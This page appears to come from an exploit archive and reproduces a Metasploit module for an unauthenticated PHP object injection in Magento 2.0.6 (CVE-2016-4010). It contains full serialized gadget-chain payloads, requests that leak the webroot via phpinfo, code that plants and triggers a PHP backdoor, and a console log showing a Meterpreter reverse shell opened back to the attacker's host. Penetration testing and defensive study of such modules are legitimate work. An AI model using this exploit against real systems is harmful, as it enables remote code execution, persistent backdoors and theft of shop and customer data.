Home / os / winmobile

Magento 2.0.6 Unserialize Remote Code Execution

Posted on 04 June 2016

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Magento 2.0.6 Unserialize Remote Code Execution', 'Description' => %q{ This module exploits a PHP object injection vulnerability in Magento 2.0.6 or prior. }, 'Platform' => 'php', 'License' => MSF_LICENSE, 'Author' => [ 'Netanel Rubin', # original discovery 'agix', # original exploit 'mr_me <mr_me[at]offensive-security.com>', # metasploit module ], 'Payload' => { 'BadChars' => "x22", }, 'References' => [ ['CVE', '2016-4010'], ['EDB', '39838'], ['URL', 'http://netanelrub.in/2016/05/17/magento-unauthenticated-remote-code-execution/'], ['URL', 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/'], ['URL', 'https://magento.com/security/patches/magento-206-security-update'] ], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Targeting', { 'auto' => true } ], ], 'DisclosureDate' => 'May 17 2016', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]) ], self.class) end def print_good(msg='') super("#{peer} - #{msg}") end def get_phpinfo # uses the Magento_Framework_DB_Transaction class serialize = 'O:13:"Credis_Client":22:{' serialize << 's:8:"u0000*u0000redis";' serialize << 'O:45:"Magento\Sales\Model\Order\Payment\Transaction":40:{' serialize << 's:9:"u0000*u0000_order";N;' serialize << 's:21:"u0000*u0000_parentTransaction";N;' serialize << 's:12:"u0000*u0000_children";N;' serialize << 's:22:"u0000*u0000_identifiedChildren";N;' serialize << 's:27:"u0000*u0000_transactionsAutoLinking";b:1;' serialize << 's:14:"u0000*u0000_isFailsafe";' serialize << 'b:1;' serialize << 's:12:"u0000*u0000_hasChild";N;' serialize << 's:15:"u0000*u0000_eventPrefix";' serialize << 's:31:"sales_order_payment_transaction";' serialize << 's:15:"u0000*u0000_eventObject";' serialize << 's:25:"order_payment_transaction";' serialize << 's:18:"u0000*u0000_orderWebsiteId";N;' serialize << 's:16:"u0000*u0000_orderFactory";N;' serialize << 's:15:"u0000*u0000_dateFactory";N;' serialize << 's:22:"u0000*u0000_transactionFactory";N;' serialize << 's:25:"u0000*u0000orderPaymentRepository";N;' serialize << 's:18:"u0000*u0000orderRepository";N;' serialize << 's:29:"u0000*u0000extensionAttributesFactory";N;' serialize << 's:22:"u0000*u0000extensionAttributes";N;' serialize << 's:25:"u0000*u0000customAttributeFactory";N;' serialize << 's:24:"u0000*u0000customAttributesCodes";N;' serialize << 's:26:"u0000*u0000customAttributesChanged";b:0;' serialize << 's:15:"u0000*u0000_idFieldName";' serialize << 's:2:"id";' serialize << 's:18:"u0000*u0000_hasDataChanges";' serialize << 'b:0;' serialize << 's:12:"u0000*u0000_origData";N;' serialize << 's:13:"u0000*u0000_isDeleted";' serialize << 'b:0;' serialize << 's:12:"u0000*u0000_resource";' serialize << 'O:32:"Magento\Framework\DB\Transaction":3:{' serialize << 's:11:"u0000*u0000_objects";' serialize << 'a:0:{}' serialize << 's:18:"u0000*u0000_objectsByAlias";' serialize << 'a:0:{}' serialize << 's:25:"u0000*u0000_beforeCommitCallbacks";' serialize << 'a:1:{' serialize << 'i:0;' serialize << 's:7:"phpinfo";}}' # the rub serialize << 's:22:"u0000*u0000_resourceCollection";N;' serialize << 's:16:"u0000*u0000_resourceName";N;' serialize << 's:18:"u0000*u0000_collectionName";N;' serialize << 's:12:"u0000*u0000_cacheTag";' serialize << 'b:0;' serialize << 's:19:"u0000*u0000_dataSaveAllowed";' serialize << 'b:1;' serialize << 's:15:"u0000*u0000_isObjectNew";N;' serialize << 's:23:"u0000*u0000_validatorBeforeSave";N;' serialize << 's:16:"u0000*u0000_eventManager";N;' serialize << 's:16:"u0000*u0000_cacheManager";N;' serialize << 's:12:"u0000*u0000_registry";N;' serialize << 's:10:"u0000*u0000_logger";N;' serialize << 's:12:"u0000*u0000_appState";N;' serialize << 's:19:"u0000*u0000_actionValidator";N;' serialize << 's:13:"u0000*u0000storedData";' serialize << 'a:0:{}' serialize << 's:8:"u0000*u0000_data";' serialize << 'a:0:{}}' serialize << 's:13:"u0000*u0000redisMulti";N;' serialize << 's:7:"u0000*u0000host";N;' serialize << 's:7:"u0000*u0000port";N;' serialize << 's:10:"u0000*u0000timeout";N;' serialize << 's:14:"u0000*u0000readTimeout";N;' serialize << 's:13:"u0000*u0000persistent";N;' serialize << 's:18:"u0000*u0000closeOnDestruct";' serialize << 'b:1;' serialize << 's:12:"u0000*u0000connected";' serialize << 'b:1;' serialize << 's:13:"u0000*u0000standalone";N;' serialize << 's:20:"u0000*u0000maxConnectRetries";' serialize << 'i:0;' serialize << 's:18:"u0000*u0000connectFailures";' serialize << 'i:0;' serialize << 's:14:"u0000*u0000usePipeline";' serialize << 'b:0;' serialize << 's:15:"u0000*u0000commandNames";N;' serialize << 's:11:"u0000*u0000commands";N;' serialize << 's:10:"u0000*u0000isMulti";' serialize << 'b:0;' serialize << 's:13:"u0000*u0000isWatching";' serialize << 'b:0;' serialize << 's:15:"u0000*u0000authPassword";N;' serialize << 's:13:"u0000*u0000selectedDb";' serialize << 'i:0;' serialize << 's:17:"u0000*u0000wrapperMethods";' serialize << 'a:3:{' serialize << 's:6:"delete";' serialize << 's:3:"del";' serialize << 's:7:"getkeys";' serialize << 's:4:"keys";' serialize << 's:7:"sremove";' serialize << 's:4:"srem";}' serialize << 's:18:"u0000*u0000renamedCommands";N;' serialize << 's:11:"u0000*u0000requests";' serialize << 'i:0;}' serialize end def get_phpshell s = "#{@webroot}/#{@backdoor}" p = "<?php #{payload.encoded} ?>" # uses the Magento_Framework_Simplexml_Config_Cache_File class serialize = 'O:13:"Credis_Client":22:{' serialize << 's:8:"u0000*u0000redis";' serialize << 'O:45:"Magento\Sales\Model\Order\Payment\Transaction":40:{' serialize << 's:9:"u0000*u0000_order";N;' serialize << 's:21:"u0000*u0000_parentTransaction";N;' serialize << 's:12:"u0000*u0000_children";N;' serialize << 's:22:"u0000*u0000_identifiedChildren";N;' serialize << 's:27:"u0000*u0000_transactionsAutoLinking";' serialize << 'b:1;' serialize << 's:14:"u0000*u0000_isFailsafe";' serialize << 'b:1;s:12:"u0000*u0000_hasChild";N;' serialize << 's:15:"u0000*u0000_eventPrefix";' serialize << 's:31:"sales_order_payment_transaction";' serialize << 's:15:"u0000*u0000_eventObject";' serialize << 's:25:"order_payment_transaction";' serialize << 's:18:"u0000*u0000_orderWebsiteId";N;' serialize << 's:16:"u0000*u0000_orderFactory";N;' serialize << 's:15:"u0000*u0000_dateFactory";N;' serialize << 's:22:"u0000*u0000_transactionFactory";N;' serialize << 's:25:"u0000*u0000orderPaymentRepository";N;' serialize << 's:18:"u0000*u0000orderRepository";N;' serialize << 's:29:"u0000*u0000extensionAttributesFactory";N;' serialize << 's:22:"u0000*u0000extensionAttributes";N;' serialize << 's:25:"u0000*u0000customAttributeFactory";N;' serialize << 's:24:"u0000*u0000customAttributesCodes";N;' serialize << 's:26:"u0000*u0000customAttributesChanged";b:0;' serialize << 's:15:"u0000*u0000_idFieldName";' serialize << 's:2:"id";' serialize << 's:18:"u0000*u0000_hasDataChanges";' serialize << 'b:0;' serialize << 's:12:"u0000*u0000_origData";N;' serialize << 's:13:"u0000*u0000_isDeleted";' serialize << 'b:0;' serialize << 's:12:"u0000*u0000_resource";' serialize << 'O:45:"Magento\Framework\Simplexml\Config\Cache\File":1:{' serialize << 's:8:"u0000*u0000_data";' serialize << 'a:3:{' serialize << 's:18:"is_allowed_to_save";' serialize << 'b:1;' serialize << 's:14:"stat_file_name";' serialize << "s:#{s.length.to_s}:\"#{s}\";" # our shell serialize << 's:10:"components";' serialize << "s:#{p.length.to_s}:\"#{p}\";}}" # our payload serialize << 's:22:"u0000*u0000_resourceCollection";N;' serialize << 's:16:"u0000*u0000_resourceName";N;' serialize << 's:18:"u0000*u0000_collectionName";N;' serialize << 's:12:"u0000*u0000_cacheTag";' serialize << 'b:0;' serialize << 's:19:"u0000*u0000_dataSaveAllowed";' serialize << 'b:1;s:15:"u0000*u0000_isObjectNew";N;' serialize << 's:23:"u0000*u0000_validatorBeforeSave";N;' serialize << 's:16:"u0000*u0000_eventManager";N;' serialize << 's:16:"u0000*u0000_cacheManager";N;' serialize << 's:12:"u0000*u0000_registry";N;' serialize << 's:10:"u0000*u0000_logger";N;' serialize << 's:12:"u0000*u0000_appState";N;' serialize << 's:19:"u0000*u0000_actionValidator";N;' serialize << 's:13:"u0000*u0000storedData";' serialize << 'a:0:{}' serialize << 's:8:"u0000*u0000_data";' serialize << 'a:0:{}}' serialize << 's:13:"u0000*u0000redisMulti";N;' serialize << 's:7:"u0000*u0000host";N;' serialize << 's:7:"u0000*u0000port";N;' serialize << 's:10:"u0000*u0000timeout";N;s:14:"u0000*u0000readTimeout";N;' serialize << 's:13:"u0000*u0000persistent";N;' serialize << 's:18:"u0000*u0000closeOnDestruct";' serialize << 'b:1;' serialize << 's:12:"u0000*u0000connected";' serialize << 'b:1;' serialize << 's:13:"u0000*u0000standalone";N;' serialize << 's:20:"u0000*u0000maxConnectRetries";' serialize << 'i:0;' serialize << 's:18:"u0000*u0000connectFailures";' serialize << 'i:0;' serialize << 's:14:"u0000*u0000usePipeline";' serialize << 'b:0;' serialize << 's:15:"u0000*u0000commandNames";N;' serialize << 's:11:"u0000*u0000commands";N;' serialize << 's:10:"u0000*u0000isMulti";' serialize << 'b:0;' serialize << 's:13:"u0000*u0000isWatching";' serialize << 'b:0;' serialize << 's:15:"u0000*u0000authPassword";N;' serialize << 's:13:"u0000*u0000selectedDb";i:0;' serialize << 's:17:"u0000*u0000wrapperMethods";' serialize << 'a:3:{' serialize << 's:6:"delete";' serialize << 's:3:"del";' serialize << 's:7:"getkeys";' serialize << 's:4:"keys";' serialize << 's:7:"sremove";' serialize << 's:4:"srem";}' serialize << 's:18:"u0000*u0000renamedCommands";N;' serialize << 's:11:"u0000*u0000requests";' serialize << 'i:0;}' serialize end def do_check data = '{"paymentMethod":{"method":"checkmo","additional_data":{"additional_information":"' data << get_phpinfo data << ""}},"email":"#{@email}"}" send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information"), 'ctype' => 'application/json', 'data' => data, }) end def define_globals @phpsessid = Rex::Text.rand_text_alphanumeric(26) @form_key = Rex::Text.rand_text_alphanumeric(26) @cookies = "PHPSESSID=#{@phpsessid}; form_key=#{@form_key}" @email = "#{@phpsessid}@#{@form_key}.com" end def check define_globals # we actually exploit the bug, but just for a callback begin if create_fake_cart if generate_cart_id # twice, because we need to setup the phpinfo callback using # the Magento_Framework_DB_Transaction() pop chain res = "" (0..1).step(1) do |n| res = do_check end if (res && res.body.include?('phpinfo()')) return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end end rescue ::Rex::ConnectionError => e vprint_error(e.message) return Exploit::CheckCode::Safe end Exploit::CheckCode::Safe end def get_webroot data = '{"paymentMethod":{"method":"checkmo","additional_data":{"additional_information":"' data << get_phpinfo data << ""}},"email":"#{@email}"}" # we steal path via phpinfo res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information"), 'ctype' => 'application/json', 'data' => data, }) if res && res.code == 200 @webroot = "#{$1}" if res.body =~ /_SERVER["DOCUMENT_ROOT"]</td><td class="v">(.*)</td></tr>/ return true end false end def create_fake_cart res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/checkout/cart/add/uenc//product/1/'), 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, 'cookie' => @cookies, 'vars_get' => { 'form_key' => @form_key } }) return true if (res && res.body.include?('[]')) false end def generate_cart_id res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/checkout/cart/'), 'cookie' => @cookies, }) if res && res.code == 200 @guest_cart_id = "#{$1}" if res.body =~ /entity_id":"(.*)","store_id":d,"created_at/ return true end false end def backdoor data = "{"paymentMethod":{"method":"checkmo","additional_data":{"additional_information":"" data << get_phpshell data << ""}},"email":"#{@email}"}" res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information"), 'ctype' => 'application/json', 'data' => data, }) return true if (res && res.body.include?('true')) false end def exec_code send_request_raw({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/#{@backdoor}"), }, timeout = 0.5) end def exploit define_globals @backdoor = "#{Rex::Text.rand_text_alphanumeric(26)}.php" register_files_for_cleanup("#{@backdoor}") if create_fake_cart && generate_cart_id print_good("generated a guest cart id") if get_webroot && backdoor print_good("backdoor done!") exec_code end end end end =begin saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/sam.rc [*] Processing scripts/sam.rc for ERB directives. resource (scripts/sam.rc)> use exploit/multi/http/magento_unserialize resource (scripts/sam.rc)> set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp resource (scripts/sam.rc)> set RHOST 192.168.100.13 RHOST => 192.168.100.13 resource (scripts/sam.rc)> set LHOST 192.168.100.2 LHOST => 192.168.100.2 resource (scripts/sam.rc)> set LPORT 6666 LPORT => 6666 resource (scripts/sam.rc)> check [*] 192.168.100.13:80 The target appears to be vulnerable. resource (scripts/sam.rc)> exploit [*] Started reverse TCP handler on 192.168.100.2:6666 [+] generated a guest cart id [+] backdoor done! [*] Sending stage (33721 bytes) to 192.168.100.13 [*] Meterpreter session 1 opened (192.168.100.2:6666 -> 192.168.100.13:49714) at 2016-06-01 18:28:52 -0500 [+] Deleted vYtP1aJ2NXYAovrQgOLNGCt0SZ.php meterpreter > =end

 

TOP